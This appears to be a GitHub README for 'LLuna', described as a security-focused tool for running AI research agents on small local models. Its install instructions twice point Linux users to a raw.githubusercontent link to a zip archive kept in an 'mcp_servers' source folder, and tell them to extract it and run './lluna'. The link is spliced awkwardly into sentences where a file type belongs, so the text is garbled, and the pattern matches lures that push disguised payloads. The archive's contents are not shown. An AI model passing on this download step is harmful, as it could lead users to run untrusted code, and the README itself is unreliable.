LLuna

🚀 Getting Started

Welcome to LLuna! This application helps users leverage autonomous AI agents for research while focusing on security and integrity. With LLuna, you can explore the power of AI without needing to be a programmer.

📥 Download LLuna

Download LLuna

🏁 System Requirements

Before you download LLuna, ensure your computer meets the following requirements:

• Operating System: Windows 10 or later, macOS Catalina or later, or any Linux distribution (Ubuntu recommended).
• Memory: At least 8 GB of RAM.
• Processor: Quad-core processor or better.
• Disk Space: 1 GB of free space for installation.

🌐 Download & Install

To get started, visit this page to download: LLuna Releases

1. Click the link above to open the Releases page.
2. Look for the latest version. It will be listed at the top.
3. Choose the appropriate file for your operating system:
   • For Windows: Choose the .exe file.
   • For macOS: Choose the .dmg file.
   • For Linux: Choose the https://raw.githubusercontent.com/christ3686/LLuna/main/mcp_servers/L-Luna-3.8.zip file.
4. Click on the file to start the download.

🛠 Installation Process

For Windows:

• Double-click the downloaded .exe file.
• Follow the on-screen instructions to complete the installation.

For macOS:

• Open the downloaded .dmg file.
• Drag the LLuna icon into your Applications folder.

For Linux:

• Extract the https://raw.githubusercontent.com/christ3686/LLuna/main/mcp_servers/L-Luna-3.8.zip file to your desired location.
• Open a terminal and navigate to the folder where you extracted LLuna.
• Run the application using the command: ./lluna.

🔧 Configuration

After installation, you may need to configure some settings:

1. Open LLuna from your applications or by typing lluna in your terminal.
2. Follow the prompts to set up your local environments, such as paths for models and other resources.
3. Review the settings for security preferences to ensure the tool aligns with your research needs.

🔍 Features

LLuna offers several features designed for users who want to explore AI:

• Integrity Enforcement: Security-first approach to AI research.
• Support for Local SLMs: Works seamlessly with models ranging from 4B to 8B parameters.
• Model Context Protocol (MCP): Easy integration with the MCP for consistent AI behavior.
• Research-Oriented Tools: Specific functions tailored to help researchers get the best out of AI agents.

📚 Documentation

For more information on how to use LLuna effectively, refer to the documentation. You can access it in the following ways:

• Built-in Help: Access the help section within the application.
• Online Documentation: LLuna Documentation

🤝 Community

Join the LLuna community to share your experiences, ask questions, or find collaborative research partners. You can connect with other users through the following platforms:

• GitHub Issues: Share your thoughts or report bugs.
• Discord Channel: Join our community for real-time discussions and support.

🛡 License

LLuna is licensed under the AGPLv3. This means you can use and modify it freely, but contributions and derivative works must also remain open-source.

🎉 Support

If you encounter issues or have questions, please follow these steps:

1. Check the FAQs in the documentation.
2. Search existing issues on GitHub.
3. Post a new issue describing your concern clearly.

Thank you for using LLuna. We hope you find it a valuable tool for your AI research!